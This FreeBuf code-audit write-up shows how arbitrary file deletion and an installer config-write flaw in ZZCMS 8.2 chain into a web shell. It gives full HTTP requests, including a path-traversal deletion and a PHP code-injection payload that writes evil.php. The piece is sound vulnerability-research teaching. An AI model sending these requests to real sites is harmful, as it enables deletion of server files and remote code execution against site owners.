freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

代码审计| ZZCMS 8.2任意文件删除导致GetShell
交个朋友 2018-03-27 17:06:05 344010

0x00 背景

本周,将zzcms8.2的源码的GetShell方法与大家一同分享,在上周有说过这个CMS比较适合新手或想要入坑PHP代码审计的同学练手,所以分享下从一些容易发现的漏洞一步步到GetShell的过程,如果大家还有其他思路欢迎一同讨论,期待与师傅们的交流。


0x01 审计过程

文件删除问题:

0x00 相关环境

源码信息:ZZCMS 8.2 

问题文件: \zzcms\zzcms8.2\user\msg.php 

漏洞类型:任意文件删除 

站点地址:http://www.zzcms.net/

0x01 漏洞分析

在\zzcms\zzcms8.2\user\del.php文件的第44-53行中得到如下代码块,通过分析代码块可以知道,是从数据库中取出图片路径然后进行删除操作,这里同样的操作除了zzcms_main操作外,还有第64行的zzcms_licence操作,这里只分析zzcms_main操作。

操作1.png

操作 2.png

因为此处是从数据库select操作中得到图片等文件的路径地址的,所以可以通过追踪对zzcms_main表进行insert或者update操作的代码,在\zzcms\zzcms8.2\user\zssave.php文件的第94-102行发现insert或者update操作。

update.png

且在\zzcms\zzcms8.2\user\zssave.php文件的第103-118行中,当传入的oldimg与数据中的img不同时会删除oldimg,因此此处存在任意文件删除操作。

删除.png


0x02 漏洞复现

情况一:在action=add的情况下进行任意文件删除 

首先进行如下请求在img参数位置填入要删除的文件路径,如根目录下的1.txt。

POST /user/zssave.php HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 289

Referer: http://127.0.0.1/user/zsadd.php

Cookie: PHPSESSID=7fto4uo32lis3t4caar14iuk74; bdshare_firstime=1521075384018; UserName=Thinking; PassWord=05551a1478ef9b6aed2749f4b2fe45dd

Connection: close

Upgrade-Insecure-Requests: 1

proname=thinking&szm=&gnzz=thinking&sm=111111&province=%E8%AF%B7%E9%80%89%E6%8B%A9%E7%9C%81%E4%BB%BD&city=%E8%AF%B7%E9%80%89%E6%8B%A9%E5%9F%8E%E5%8C%BA&xiancheng=&cityforadd=&img=/1.txt&flv=&zc=&yq=&action=add&Submit=%E5%A1%AB%E5%A5%BD%E4%BA%86%EF%BC%8C%E5%8F%91%E5%B8%83%E4%BF%A1%E6%81%AF

然后数据库中会生成img列的值为/1.txt的内容。

 内容.png

然后进行如下请求,删除上面操作生成的那篇招商咨询,然后就会连1.txt一并删除。

POST /user/del.php HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 97

Referer: http://127.0.0.1/user/zsmanage.php

Cookie: PHPSESSID=7fto4uo32lis3t4caar14iuk74; bdshare_firstime=1521075384018; UserName=Thinking; PassWord=05551a1478ef9b6aed2749f4b2fe45dd

Connection: close

Upgrade-Insecure-Requests: 1

id%5B%5D=16&submit=%E5%88%A0%E9%99%A4%0D%0A&pagename=zsmanage.php%3Fpage%3D1&tablename=zzcms_main

 main.png


情况二:在action=modify的情况下进行任意文件删除 

进行如下请求在oldimg参数的位置构造要删除的目标文件,如根目录下的1.txt,所以可以使用../1.txt进行目录跳转后删除目标文件。

POST /user/zssave.php HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 290

Referer: http://127.0.0.1/user/zsmodify.php?id=15&page=1

Cookie: PHPSESSID=7fto4uo32lis3t4caar14iuk74; bdshare_firstime=1521075384018; UserName=Thinking; PassWord=05551a1478ef9b6aed2749f4b2fe45dd

Connection: close

Upgrade-Insecure-Requests: 1

proname=11&szm=&gnzz=22&sm=33&province=%E5%85%A8%E5%9B%BD&city=%E5%85%A8%E5%9B%BD%E5%90%84%E5%9C%B0%E5%8C%BA&xiancheng=&cityforadd=&oldimg=../1.txt&img=%2Fimage%2Fnopic.gif&oldflv=&flv=&zc=&yq=&cpid=15&action=modify&page=1&Submit=%E4%BF%9D%E5%AD%98%E4%BF%AE%E6%94%B9%E7%BB%93%E6%9E%9C%0D%0A

 OA.png


配置文件写入问题

0x00 相关环境

源码信息:ZZCMS 8.2 

问题文件: \zzcms\zzcms8.2\install\index.php 

漏洞类型:文件写入问题 

站点地址:http://www.zzcms.net/


0x01 漏洞分析

在\zzcms\zzcms8.2\install\index.php文件的第105-117行中发现如下代码块,用于将一些配置信息写入到配置文件中。

 wenjian.png

通过跟踪各个配置信息的传入过程,发现在\zzcms\zzcms8.2\install\index.php文件的第9-10行中使用了变量注册的方法进行变量的初始化。

 chushihua.png

分析代码可以知道,写入配置文件的操作并没有对传入的数据进行安全处理操作,因此仅需要按着流程走,然后在step=5的时候,在url位置传入恶意代码便可以进行代码写入的操作,当然其他位置也有可以写入的,我这里只是用最简单的位置来实现。

 shixian.png


0x02 漏洞复现

首先进行如下请求,将恶意代码写入到\zzcms\zzcms8.2\inc\config.php配置文件中:

POST /install/index.php HTTP/1.1

Host: 127.0.0.1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 214

Referer: http://127.0.0.1/install/index.php

Connection: close

Upgrade-Insecure-Requests: 1

step=5&token=&db_host=localhost&db_port=3306&db_user=root&db_pass=root&db_name=zzcms&url=http%3A%2F%2F127.0.0.1');(fwrite(fopen("evil.php", "w"), "<?php phpinfo();?>"));//&admin=admin&adminpwd=admin&adminpwd2=admin

然后访问http://127.0.0.1/inc/config.php便会生成evil.php文件,访问http://127.0.0.1/inc/evil.php便可以执行生成的恶意文件从而GetShell。

 shell.png


0x02 小结

本篇列举了ZZCMS8.2版本的任意文件删除与配置文件写入的问题,通过这两个漏洞的组合利用便可以GetShell,先使用任意文件删除漏洞,删除install.lock文件,然后便可以利用配置文件写入的问题写入恶意代码从而GetShell,当然GetShell的方式还有很多,这里仅仅是列举了一些分析起来比较简单的方法。大家如果有发现其他方法好玩的洞也欢迎与我私下一同聊聊thinking_balabala@163.com。

qrcode_for_gh_223e082fe8a7_344.jpg

注:本文仅限于学习和研究使用,禁止用于非法用途。一切非法用途,与原作者无关。

# zzcms8.2
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 交个朋友 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
从0到1学技术
相关推荐
交个朋友 LV.3
这个号主要用来交个朋友
  • 81 文章数
  • 448 关注者
全网最全的Cobalt Strike使用教程-进阶篇
2021-09-28
全网最全的Cobalt Strike使用教程系列-基础篇
2021-09-27
“百香果”内网安全沙盘2.0bate版使用指南-进阶篇
2021-04-28